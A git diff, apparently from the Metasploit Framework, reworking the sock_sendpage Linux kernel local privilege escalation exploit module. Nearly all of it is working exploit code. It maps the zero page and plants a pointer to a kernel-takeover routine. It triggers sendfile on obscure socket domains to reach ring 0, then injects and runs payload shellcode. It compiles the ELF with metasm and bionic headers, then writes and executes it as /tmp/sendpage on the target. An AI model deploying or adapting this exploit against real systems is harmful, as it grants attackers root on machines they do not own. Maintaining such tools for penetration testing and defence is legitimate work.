diff --git a/lib/msf/core/exploit/local/unix.rb b/lib/msf/core/exploit/local/unix.rb new file mode 100644 index 0000000000..5a35ebbe63 --- /dev/null +++ b/lib/msf/core/exploit/local/unix.rb @@ -0,0 +1,19 @@ + +module Msf +module Exploit::Local::Unix + + include Exploit::Local::CompileC + + def unix_socket_h(metasm_exe) + [ + "external/source/meterpreter/source/bionic/libc/include/sys/socket.h", + ].each do |fname| + cparser.parse(File.read(fname), fname) + end + + end + + +end +end + diff --git a/modules/exploits/linux/local/sock_sendpage.rb b/modules/exploits/linux/local/sock_sendpage.rb index 231612a9b1..849aa1b7e3 100644 --- a/modules/exploits/linux/local/sock_sendpage.rb +++ b/modules/exploits/linux/local/sock_sendpage.rb @@ -7,6 +7,7 @@ require 'msf/core' require 'rex' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' +require 'msf/core/exploit/local/unix' require 'msf/core/exploit/exe' #load 'lib/msf/core/post/file.rb' @@ -22,6 +23,7 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux + include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { @@ -67,166 +69,92 @@ class Metasploit4 < Msf::Exploit::Local 'DisclosureDate' => "Aug 13 2009", } )) - register_options([ - OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), - ]) - register_options([ - OptBool.new("DEBUG", [ true, "Make the exploit executable be verbose about what it's doing", false ]), - ]) - end - - def executable_path - @executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8) - - @executable_path end def exploit sc = Metasm::ELF.new(@cpu) sc.parse %Q| + #define DEBUGGING + #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx + .entrypoint #endif + call main + ;push eax + call exit | - current_task_struct_h(sc) - if datastore["DEBUG"] - cparser.parse "#define DEBUG\n" + + # Set up the same include order as the bionic build system. + # See external/source/meterpreter/source/bionic/libc/Jamfile + cparser.lexer.include_search_path = [ + "external/source/meterpreter/source/bionic/libc/include/", + "external/source/meterpreter/source/bionic/libc/private/", + "external/source/meterpreter/source/bionic/libc/bionic/", + "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", + "external/source/meterpreter/source/bionic/libc/kernel/common/", + "external/source/meterpreter/source/bionic/libc/arch-x86/include/", + ] + + cparser.parse(%Q| + #define DEBUGGING + // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h + #ifndef __extension__ + #define __extension__ + #endif + // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h + // Doing #if on an undefined macro is fine in GCC, but a parse error in + // metasm. + #ifndef __STDC__ + #define __STDC__ 0 + #endif + #include + #include + #include + #include + #include + #include + /* + OpenBSD's strcmp from string/strcmp.c in bionic + */ + int + strcmp(const char *s1, const char *s2) + { + while (*s1 == *s2++) + if (*s1++ == 0) + return (0); + return (*(unsigned char *)s1 - *(unsigned char *)--s2); + } + |) + + [ + "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", + "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", + "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", + "external/source/meterpreter/source/bionic/libc/unistd/mmap.c", + # This parses without any trouble, but actually calling perror() causes + # immediate segfaults. + #"external/source/meterpreter/source/bionic/libc/unistd/perror.c", + + # For some ungodly reason, NULL ends up being undefined when parsing this + # guy, which of course causes parse errors. + #"external/source/meterpreter/source/bionic/libc/stdio/mktemp.c", + + ].each do |fname| + print_status("Parsing c file #{fname}") + cparser.parse(File.read(fname), fname) end + print_status("Unix socket.h") + unix_socket_h(sc) + current_task_struct_h(sc) + case target.arch.first when ARCH_X86 + print_status("syscall wrappers") + linux_x86_syscall_wrappers(sc) main = %q^ - -struct _IO_FILE; -typedef void _IO_lock_t; - -struct _IO_marker { - struct _IO_marker *_next; - struct _IO_FILE *_sbuf; - int _pos; -}; -typedef unsigned int __gid_t; -typedef long __off_t; -typedef int __pid_t; -typedef -struct { - long __val[2]; -} __quad_t; -typedef int __ssize_t; -typedef unsigned int __uid_t; -extern void exit(int __status); -extern int open(const char *__file, int __oflag, ...); -extern void perror(const char *__s); -extern int printf(const char *__format, ...); -typedef unsigned long size_t; -extern int socket(int __domain, int __type, int __protocol); -extern int strcmp(const char *__s1, const char *__s2); -extern int unlink(const char *__name); - -typedef __quad_t __off64_t; -extern __pid_t fork(void); -extern int ftruncate(int __fd, __off_t __length); -extern __gid_t getgid(void); -extern __uid_t getuid(void); -extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset); -extern int mprotect(void *__addr, size_t __len, int __prot); -typedef __off_t off_t; -typedef __ssize_t ssize_t; - -struct _IO_FILE { - int _flags; - char *_IO_read_ptr; - char *_IO_read_end; - char *_IO_read_base; - char *_IO_write_base; - char *_IO_write_ptr; - char *_IO_write_end; - char *_IO_buf_base; - char *_IO_buf_end; - char *_IO_save_base; - char *_IO_backup_base; - char *_IO_save_end; - struct _IO_marker *_markers; - struct _IO_FILE *_chain; - int _fileno; - int _flags2; - __off_t _old_offset; - unsigned short _cur_column; - signed char _vtable_offset; - char _shortbuf[1]; - _IO_lock_t *_lock; - __off64_t _offset; - void *__pad1; - void *__pad2; - void *__pad3; - void *__pad4; - size_t __pad5; - int _mode; - char _unused2[40]; -}; -extern ssize_t sendfile(int __out_fd, int __in_fd, off_t *__offset, size_t __count); - -typedef struct _IO_FILE FILE; - -extern int fclose(FILE *__stream); -extern FILE *fopen(const char *__filename, const char *__modes); -extern int fscanf(FILE *__stream, const char *__format, ...); - - -// Refactor missed these, added manually by the simple expedient of -// printf -#define PF_BLUETOOTH 31 -#define PF_APPLETALK 5 -#define PF_IPX 4 -#define PF_IRDA 23 -#define PF_X25 9 -#define PF_AX25 3 -#define PF_PPPOX 24 - -#define EOF -1 - -#define MAP_PRIVATE 0x02 -#define MAP_FIXED 0x10 -#define MAP_ANONYMOUS 0x20 -#define MAP_ANON MAP_ANONYMOUS -#define MAP_FAILED ((void *)-1) - -#define PROT_READ 0x1 -#define PROT_WRITE 0x2 -#define PROT_EXEC 0x4 - -#define O_CREAT 64 -#define O_RDWR 2 - -#define SOCK_DGRAM 2 - - -/* -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -*/ - -// Only print to stdout if we're debugging. This reduces our forensics -// footprint a touch by preventing our debugging strings from showing up -// in the binary when using the exploit for reals. -#ifdef DEBUG -# define dprintf printf -#else -# define dprintf -#endif - -#undef fscanf - #ifdef __x86_64__ #define PTR_FMT "0x%016x" #else @@ -235,7 +163,6 @@ extern int fscanf(FILE *__stream, const char *__format, ...); #define NULL ((void*)0) #define DOMAINS_STOP -1 - const int domains[] = { PF_BLUETOOTH, PF_APPLETALK, @@ -265,7 +192,7 @@ static unsigned long get_kernel_sym(char *name) if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) { - dprintf("Unable to obtain symbol listing!\n"); + printf("Unable to obtain symbol listing!\n"); return 0; } } @@ -278,7 +205,7 @@ static unsigned long get_kernel_sym(char *name) continue; } if (!strcmp(name, sname)) { - dprintf(" [+] Resolved %s to %p\n", name, (void *)addr); + printf(" [+] Resolved %s to %p\n", name, (void *)addr); fclose(f); return addr; } @@ -326,11 +253,11 @@ own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long return -1; } -SHELLCODE - +const char *shellcode = +""; int shellcode_size = 0; -int main(int argc, char **argv) { +int main() { int i = 0; int d; int in_fd, out_fd; @@ -338,9 +265,6 @@ int main(int argc, char **argv) { char template[] = "/tmp/sendfile.XXXXXX"; int (*func)(); - dprintf("argv[0] = %s\n", argv[0]); - unlink(argv[0]); - uid = getuid(), gid = getgid(); mapped = mmap(NULL , 0x1000, @@ -349,7 +273,7 @@ int main(int argc, char **argv) { 0, 0 ); if (mapped == NULL) { - dprintf("Mapped zero page!\n"); + printf("Mapped zero page!\n"); } else { exit(1); } @@ -361,36 +285,35 @@ int main(int argc, char **argv) { *(unsigned long *)&mapped[8] = (unsigned long)own_the_kernel; for (i = 0; i < 16; i++) { - dprintf("\\\\x%02x", (unsigned char)mapped[i]); + printf("\\\\x%02x", (unsigned char)mapped[i]); } - dprintf("\n"); + printf("\n"); for (d = 0; domains[d] != DOMAINS_STOP; d++) { - //dprintf("Next domain ... "); + //printf("Next domain ... "); out_fd = socket(domains[d], SOCK_DGRAM, 0); if (out_fd > 0) { - dprintf("Got domain[%d]\n", d); + printf("Got domain[%d]\n", d); break; } if (out_fd < 0) { - perror("socket"); + printf("out_fd: %d, Errno: %d\n", out_fd, errno); exit(1); } } - unlink(template); // Couldn't get mkstemp to work, just use open(2) for now in_fd = open(template, O_CREAT | O_RDWR, 0777); - dprintf("Opened temp file: %d\n", in_fd); + printf("Opened temp file: %d\n", in_fd); unlink(template); - dprintf("Calling ftruncate\n"); + printf("Calling ftruncate\n"); ftruncate(in_fd, 4096); - dprintf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); - dprintf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); + printf("got_ring0 addr: " PTR_FMT "\n", &got_ring0); + printf("Calling sendfile(%d, %d, %d, %d)\n", out_fd, in_fd, NULL, 4096); sendfile(out_fd, in_fd, NULL, 4096); - dprintf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); - dprintf("UID: %d GID: %d\n", getuid(), getgid()); + printf("got_ring0: " PTR_FMT ", %d\n", &got_ring0, got_ring0); + printf("UID: %d GID: %d\n", getuid(), getgid()); func = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, @@ -399,31 +322,24 @@ int main(int argc, char **argv) { ); mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC); // weaksauce memcpy so we don't have to #include - dprintf("Copying %d bytes of shellcode\n", shellcode_size); + printf("Copying %d bytes of shellcode\n", shellcode_size); for (i = 0; i < shellcode_size; i++) { (char)func[i] = (char)shellcode[i]; } - dprintf("Forking before calling shellcode: 0x%p\n", func); + printf("Calling shellcode: 0x%p\n", func); //sigtrap(); - if (fork()) { - exit(0); - } func(); return got_ring0; } - ^ - main.gsub!(/SHELLCODE/) do - # Split the payload into chunks and dump it out as a hex-escaped - # literal C string. - Rex::Text.to_c(payload.encoded, 64, "shellcode") + main.gsub!(/shellcode =/) do + # split the payload into 16-byte chunks and dump it out as a + # hex-escaped C string + %Q|shellcode =\n"#{payload.encoded.scan(/.{1,16}/).map{|c|Rex::Text.to_hex(c,"\\x")}.join(%Q|"\n"|)}"| end main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}") - cparser.parse(main, "main.c") - #$stderr.puts cparser.factorize - #return asm = cpu.new_ccompiler(cparser, sc).compile @@ -431,7 +347,6 @@ int main(int argc, char **argv) { end sc.assemble - sc.c_set_default_entrypoint begin if sc.kind_of? Metasm::ELF @@ -447,11 +362,16 @@ int main(int argc, char **argv) { return end - print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)" - rm_f executable_path - write_file(executable_path, elf) - output = cmd_exec("chmod +x #{executable_path}; #{executable_path}") + #puts Rex::Text.to_hex_dump(foo) + File.open("payload.bin", "wb") {|fd| + fd.write elf + } + print_status "Writing exploit executable (#{elf.length} bytes)" + cmd_exec("rm /tmp/sendpage") + write_file("/tmp/sendpage", elf) + output = cmd_exec("chmod +x /tmp/sendpage; /tmp/sendpage") output.each_line { |line| print_debug line.chomp } + #cmd_exec("rm /tmp/sendpage") end